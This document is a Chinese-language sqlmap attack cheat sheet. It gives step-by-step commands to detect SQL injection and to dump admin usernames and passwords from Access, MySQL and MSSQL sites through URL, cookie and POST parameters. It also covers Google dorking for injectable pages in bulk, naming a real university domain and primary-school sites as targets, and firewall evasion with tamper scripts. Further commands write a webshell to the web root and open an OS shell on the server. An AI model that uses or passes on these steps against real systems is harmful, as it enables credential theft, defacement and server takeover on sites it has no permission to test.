access注入
http://www.a.com/0/View.asp?id=33
检测注入
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33"
列表
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --tables
列名
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --columns -T "a_d_m_i_n"
字段
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/0/View.asp?id=33" --dump -C "name,pass" -T "a_d_m_i_n"
mysql注入
http://www.a.com/4/view.php?id=8
检测注入
sqlmap.py -u "http://www.a.com/4/view.php?id=8"
is-dba 当前用户权限
dbs 所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user 当前数据库用户
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --dbs
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-db
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --users
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-user
注入过程
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --current-db
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --tables -D "mysqlDB"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --columns -T "admin" -D "mysqlDB"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --dump -C "user,pass" -T "admin" -D "mysqlDB"
MSSQL数据库注入
类似mysql的注入方式
cookie注入方式
http://www.a.com/2/shownews.asp?id=51
sqlmap.py -u "http://www.a.com/2/shownews.asp?id=51" 检测不出来的
sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=51" --level 2
[23:23:20] [INFO] the back-end DBMS is Microsoft Access
back-end DBMS: Microsoft Access
[23:23:20] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.a.com'
列表
sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=51" --level 2 --tables
列字段
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=5
1" --level 2 --columns -T "admin"
列用户名和密码
C:\Python27\sqlmap>sqlmap.py -u "http://www.a.com/2/shownews.asp" --cookie "id=5
1" --level 2 --dump -C "username,password" -T "admin"
google批量搜索注入点
inurl
intext
intitle
site
sqlmap.py -g "intext:'小学' inurl:php?id="
整站测试
sqlmap.py -g "site:www.dd.com inurl:php?id="
sqlmap.py -g "site:ahu.edu.cn inurl:php?id="
tamper插件
针对防火墙
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --tamper "space2hash"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --tamper "base64encode.py"
sqlmap.py -u "http://www.a.com/4/view.php?id=8" -v 3 --batch --tamper "base64encode.py"
file参数的使用
sqlserver mysql
dba权限 root权限
直接上传
1、
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba
2、
确定路径：C:\phpStudy\WWW\4\
写入文件
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --file-write=c:/a.php --file-dest=C:/phpStudy/WWW/4/aaa.php
经验：不要传大马，数据量尽量少
post注入方式
--forms
-r 文件地址
sqlmap.py -u "http://www.a.com/1/index.php" --forms
sqlmap.py -u "http://www.a.com/1/index.php" --forms --is-dba
sqlmap.py -u "http://www.a.com/1/index.php" --forms --users
sqlmap.py -u "http://www.a.com/1/index.php" --forms --current-user
sqlmap.py -r post.txt
sqlmap.py -r post.txt --is-dba
os参数
权限：dba权限
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --is-dba
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --os-cmd=ipconfig
sqlmap.py -u "http://www.a.com/4/view.php?id=8" --os-shell
进入以后，可以直接执行shell命令